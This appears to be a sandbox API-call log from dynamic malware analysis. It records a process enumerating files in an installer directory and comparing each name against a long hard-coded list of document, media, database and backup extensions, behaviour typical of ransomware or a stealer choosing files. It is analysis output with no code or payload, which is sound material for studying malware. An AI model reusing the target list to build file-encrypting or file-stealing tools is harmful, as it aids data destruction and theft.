	[0060.182] lstrlenW (lpString=".py") returned 3
	[0060.182] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0060.182] lstrlenW (lpString=".qt") returned 3
	[0060.182] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0060.183] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0060.183] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0060.183] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0060.183] FindClose (in: hFindFile=0x5e04b0 | out: hFindFile=0x5e04b0) returned 1
	[0060.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0060.203] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1
	[0060.203] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0060.203] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028") returned 26
	[0060.203] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0370
	[0060.205] FindNextFileW (in: hFindFile=0x5e0370, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.205] FindNextFileW (in: hFindFile=0x5e0370, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0060.205] lstrlenW (lpString="eula.rtf") returned 8
	[0060.205] lstrlenW (lpString=".1cd") returned 4
	[0060.205] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.205] lstrlenW (lpString=".3ds") returned 4
	[0060.205] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0060.205] lstrlenW (lpString=".3fr") returned 4
	[0060.205] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0060.205] lstrlenW (lpString=".3g2") returned 4
	[0060.205] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0060.205] lstrlenW (lpString=".3gp") returned 4
	[0060.205] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0060.205] lstrlenW (lpString=".7z") returned 3
	[0060.205] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.205] lstrlenW (lpString=".accda") returned 6
	[0060.205] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0060.205] lstrlenW (lpString=".accdb") returned 6
	[0060.205] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0060.205] lstrlenW (lpString=".accdc") returned 6
	[0060.205] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0060.206] lstrlenW (lpString=".accde") returned 6
	[0060.206] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0060.206] lstrlenW (lpString=".accdt") returned 6
	[0060.206] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0060.206] lstrlenW (lpString=".accdw") returned 6
	[0060.206] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0060.206] lstrlenW (lpString=".adb") returned 4
	[0060.206] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0060.206] lstrlenW (lpString=".adp") returned 4
	[0060.206] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0060.206] lstrlenW (lpString=".ai") returned 3
	[0060.206] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0060.206] lstrlenW (lpString=".ai3") returned 4
	[0060.206] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0060.206] lstrlenW (lpString=".ai4") returned 4
	[0060.206] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0060.206] lstrlenW (lpString=".ai5") returned 4
	[0060.206] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0060.206] lstrlenW (lpString=".ai6") returned 4
	[0060.206] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0060.206] lstrlenW (lpString=".ai7") returned 4
	[0060.206] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0060.206] lstrlenW (lpString=".ai8") returned 4
	[0060.206] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0060.206] lstrlenW (lpString=".anim") returned 5
	[0060.206] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0060.206] lstrlenW (lpString=".arw") returned 4
	[0060.206] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0060.206] lstrlenW (lpString=".as") returned 3
	[0060.206] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0060.206] lstrlenW (lpString=".asa") returned 4
	[0060.206] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0060.206] lstrlenW (lpString=".asc") returned 4
	[0060.206] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0060.207] lstrlenW (lpString=".ascx") returned 5
	[0060.207] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0060.207] lstrlenW (lpString=".asm") returned 4
	[0060.207] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0060.207] lstrlenW (lpString=".asmx") returned 5
	[0060.207] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0060.207] lstrlenW (lpString=".asp") returned 4
	[0060.207] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0060.207] lstrlenW (lpString=".aspx") returned 5
	[0060.207] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0060.207] lstrlenW (lpString=".asr") returned 4
	[0060.207] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0060.207] lstrlenW (lpString=".asx") returned 4
	[0060.207] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0060.207] lstrlenW (lpString=".avi") returned 4
	[0060.207] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0060.207] lstrlenW (lpString=".avs") returned 4
	[0060.207] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0060.207] lstrlenW (lpString=".backup") returned 7
	[0060.207] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0060.207] lstrlenW (lpString=".bak") returned 4
	[0060.207] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0060.207] lstrlenW (lpString=".bay") returned 4
	[0060.207] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0060.207] lstrlenW (lpString=".bd") returned 3
	[0060.207] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0060.207] lstrlenW (lpString=".bin") returned 4
	[0060.207] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0060.207] lstrlenW (lpString=".bmp") returned 4
	[0060.207] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0060.207] lstrlenW (lpString=".bz2") returned 4
	[0060.207] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.207] lstrlenW (lpString=".c") returned 2
	[0060.208] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0060.208] lstrlenW (lpString=".cdr") returned 4
	[0060.208] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0060.208] lstrlenW (lpString=".cer") returned 4
	[0060.208] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0060.208] lstrlenW (lpString=".cf") returned 3
	[0060.208] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0060.208] lstrlenW (lpString=".cfc") returned 4
	[0060.208] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0060.208] lstrlenW (lpString=".cfm") returned 4
	[0060.208] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0060.208] lstrlenW (lpString=".cfml") returned 5
	[0060.208] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0060.208] lstrlenW (lpString=".cfu") returned 4
	[0060.208] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0060.208] lstrlenW (lpString=".chm") returned 4
	[0060.208] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0060.208] lstrlenW (lpString=".cin") returned 4
	[0060.208] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0060.208] lstrlenW (lpString=".class") returned 6
	[0060.208] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0060.208] lstrlenW (lpString=".clx") returned 4
	[0060.208] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0060.208] lstrlenW (lpString=".config") returned 7
	[0060.208] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0060.208] lstrlenW (lpString=".cpp") returned 4
	[0060.208] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0060.208] lstrlenW (lpString=".cr2") returned 4
	[0060.208] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0060.208] lstrlenW (lpString=".crt") returned 4
	[0060.208] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0060.208] lstrlenW (lpString=".crw") returned 4
	[0060.208] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0060.208] lstrlenW (lpString=".cs") returned 3
	[0060.209] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0060.209] lstrlenW (lpString=".css") returned 4
	[0060.209] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0060.209] lstrlenW (lpString=".csv") returned 4
	[0060.209] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0060.209] lstrlenW (lpString=".cub") returned 4
	[0060.209] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0060.209] lstrlenW (lpString=".dae") returned 4
	[0060.209] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0060.209] lstrlenW (lpString=".dat") returned 4
	[0060.209] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0060.209] lstrlenW (lpString=".db") returned 3
	[0060.209] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0060.209] lstrlenW (lpString=".dbf") returned 4
	[0060.209] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.209] lstrlenW (lpString=".dbx") returned 4
	[0060.209] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0060.209] lstrlenW (lpString=".dc3") returned 4
	[0060.209] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0060.209] lstrlenW (lpString=".dcm") returned 4
	[0060.209] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0060.209] lstrlenW (lpString=".dcr") returned 4
	[0060.209] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0060.209] lstrlenW (lpString=".der") returned 4
	[0060.209] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0060.209] lstrlenW (lpString=".dib") returned 4
	[0060.209] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0060.209] lstrlenW (lpString=".dic") returned 4
	[0060.209] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0060.209] lstrlenW (lpString=".dif") returned 4
	[0060.209] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0060.209] lstrlenW (lpString=".divx") returned 5
	[0060.209] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0060.210] lstrlenW (lpString=".djvu") returned 5
	[0060.210] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0060.210] lstrlenW (lpString=".dng") returned 4
	[0060.210] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0060.210] lstrlenW (lpString=".doc") returned 4
	[0060.210] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.210] lstrlenW (lpString=".docm") returned 5
	[0060.210] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0060.210] lstrlenW (lpString=".docx") returned 5
	[0060.210] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.210] lstrlenW (lpString=".dot") returned 4
	[0060.210] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0060.210] lstrlenW (lpString=".dotm") returned 5
	[0060.210] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0060.210] lstrlenW (lpString=".dotx") returned 5
	[0060.210] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0060.210] lstrlenW (lpString=".dpx") returned 4
	[0060.210] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0060.210] lstrlenW (lpString=".dqy") returned 4
	[0060.210] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0060.210] lstrlenW (lpString=".dsn") returned 4
	[0060.210] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0060.210] lstrlenW (lpString=".dt") returned 3
	[0060.210] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0060.210] lstrlenW (lpString=".dtd") returned 4
	[0060.210] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0060.211] lstrlenW (lpString=".dwg") returned 4
	[0060.211] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0060.211] lstrlenW (lpString=".dwt") returned 4
	[0060.211] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0060.211] lstrlenW (lpString=".dx") returned 3
	[0060.211] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0060.211] lstrlenW (lpString=".dxf") returned 4
	[0060.211] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0060.211] lstrlenW (lpString=".edml") returned 5
	[0060.211] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0060.211] lstrlenW (lpString=".efd") returned 4
	[0060.211] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0060.211] lstrlenW (lpString=".elf") returned 4
	[0060.211] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0060.211] lstrlenW (lpString=".emf") returned 4
	[0060.211] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0060.211] lstrlenW (lpString=".emz") returned 4
	[0060.211] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0060.211] lstrlenW (lpString=".epf") returned 4
	[0060.211] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0060.211] lstrlenW (lpString=".eps") returned 4
	[0060.211] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0060.211] lstrlenW (lpString=".epsf") returned 5
	[0060.211] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0060.211] lstrlenW (lpString=".epsp") returned 5
	[0060.211] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0060.211] lstrlenW (lpString=".erf") returned 4
	[0060.211] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0060.211] lstrlenW (lpString=".exr") returned 4
	[0060.211] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0060.211] lstrlenW (lpString=".f4v") returned 4
	[0060.212] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0060.212] lstrlenW (lpString=".fido") returned 5
	[0060.212] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0060.212] lstrlenW (lpString=".flm") returned 4
	[0060.212] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0060.212] lstrlenW (lpString=".flv") returned 4
	[0060.212] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0060.212] lstrlenW (lpString=".frm") returned 4
	[0060.212] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0060.212] lstrlenW (lpString=".fxg") returned 4
	[0060.212] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0060.212] lstrlenW (lpString=".geo") returned 4
	[0060.212] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0060.212] lstrlenW (lpString=".gif") returned 4
	[0060.212] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0060.212] lstrlenW (lpString=".grs") returned 4
	[0060.212] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0060.212] lstrlenW (lpString=".gz") returned 3
	[0060.212] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0060.212] lstrlenW (lpString=".h") returned 2
	[0060.212] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0060.212] lstrlenW (lpString=".hdr") returned 4
	[0060.212] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0060.212] lstrlenW (lpString=".hpp") returned 4
	[0060.212] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0060.212] lstrlenW (lpString=".hta") returned 4
	[0060.212] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0060.212] lstrlenW (lpString=".htc") returned 4
	[0060.212] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0060.212] lstrlenW (lpString=".htm") returned 4
	[0060.212] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0060.212] lstrlenW (lpString=".html") returned 5
	[0060.212] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0060.212] lstrlenW (lpString=".icb") returned 4
	[0060.213] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0060.213] lstrlenW (lpString=".ics") returned 4
	[0060.213] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0060.213] lstrlenW (lpString=".iff") returned 4
	[0060.213] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0060.213] lstrlenW (lpString=".inc") returned 4
	[0060.213] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0060.213] lstrlenW (lpString=".indd") returned 5
	[0060.213] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0060.213] lstrlenW (lpString=".ini") returned 4
	[0060.213] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0060.213] lstrlenW (lpString=".iqy") returned 4
	[0060.213] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0060.213] lstrlenW (lpString=".j2c") returned 4
	[0060.213] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0060.213] lstrlenW (lpString=".j2k") returned 4
	[0060.213] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0060.213] lstrlenW (lpString=".java") returned 5
	[0060.213] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0060.213] lstrlenW (lpString=".jp2") returned 4
	[0060.213] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0060.213] lstrlenW (lpString=".jpc") returned 4
	[0060.213] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0060.213] lstrlenW (lpString=".jpe") returned 4
	[0060.213] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0060.213] lstrlenW (lpString=".jpeg") returned 5
	[0060.213] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0060.213] lstrlenW (lpString=".jpf") returned 4
	[0060.213] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0060.213] lstrlenW (lpString=".jpg") returned 4
	[0060.213] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.213] lstrlenW (lpString=".jpx") returned 4
	[0060.213] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0060.214] lstrlenW (lpString=".js") returned 3
	[0060.214] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0060.214] lstrlenW (lpString=".jsf") returned 4
	[0060.214] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0060.214] lstrlenW (lpString=".json") returned 5
	[0060.214] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0060.214] lstrlenW (lpString=".jsp") returned 4
	[0060.214] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0060.214] lstrlenW (lpString=".kdc") returned 4
	[0060.214] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0060.214] lstrlenW (lpString=".kmz") returned 4
	[0060.214] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0060.214] lstrlenW (lpString=".kwm") returned 4
	[0060.214] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0060.214] lstrlenW (lpString=".lasso") returned 6
	[0060.214] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0060.214] lstrlenW (lpString=".lbi") returned 4
	[0060.214] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0060.214] lstrlenW (lpString=".lgf") returned 4
	[0060.214] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0060.214] lstrlenW (lpString=".lgp") returned 4
	[0060.214] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0060.214] lstrlenW (lpString=".log") returned 4
	[0060.214] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0060.214] lstrlenW (lpString=".m1v") returned 4
	[0060.214] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0060.214] lstrlenW (lpString=".m4a") returned 4
	[0060.214] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0060.214] lstrlenW (lpString=".m4v") returned 4
	[0060.214] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0060.214] lstrlenW (lpString=".max") returned 4
	[0060.214] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0060.215] lstrlenW (lpString=".md") returned 3
	[0060.215] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0060.215] lstrlenW (lpString=".mda") returned 4
	[0060.215] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0060.215] lstrlenW (lpString=".mdb") returned 4
	[0060.215] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0060.215] lstrlenW (lpString=".mde") returned 4
	[0060.215] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0060.215] lstrlenW (lpString=".mdf") returned 4
	[0060.215] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0060.215] lstrlenW (lpString=".mdw") returned 4
	[0060.215] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0060.215] lstrlenW (lpString=".mef") returned 4
	[0060.215] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0060.215] lstrlenW (lpString=".mft") returned 4
	[0060.215] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0060.215] lstrlenW (lpString=".mfw") returned 4
	[0060.215] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0060.215] lstrlenW (lpString=".mht") returned 4
	[0060.215] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0060.215] lstrlenW (lpString=".mhtml") returned 6
	[0060.215] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0060.215] lstrlenW (lpString=".mka") returned 4
	[0060.216] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0060.216] lstrlenW (lpString=".mkidx") returned 6
	[0060.216] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0060.216] lstrlenW (lpString=".mkv") returned 4
	[0060.216] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0060.216] lstrlenW (lpString=".mos") returned 4
	[0060.216] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0060.216] lstrlenW (lpString=".mov") returned 4
	[0060.216] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0060.216] lstrlenW (lpString=".mp3") returned 4
	[0060.216] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0060.216] lstrlenW (lpString=".mp4") returned 4
	[0060.216] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0060.216] lstrlenW (lpString=".mpeg") returned 5
	[0060.216] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0060.216] lstrlenW (lpString=".mpg") returned 4
	[0060.216] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0060.216] lstrlenW (lpString=".mpv") returned 4
	[0060.216] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0060.216] lstrlenW (lpString=".mrw") returned 4
	[0060.216] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0060.216] lstrlenW (lpString=".msg") returned 4
	[0060.216] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0060.216] lstrlenW (lpString=".mxl") returned 4
	[0060.216] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0060.216] lstrlenW (lpString=".myd") returned 4
	[0060.216] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0060.216] lstrlenW (lpString=".myi") returned 4
	[0060.216] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0060.216] lstrlenW (lpString=".nef") returned 4
	[0060.217] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0060.217] lstrlenW (lpString=".nrw") returned 4
	[0060.217] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
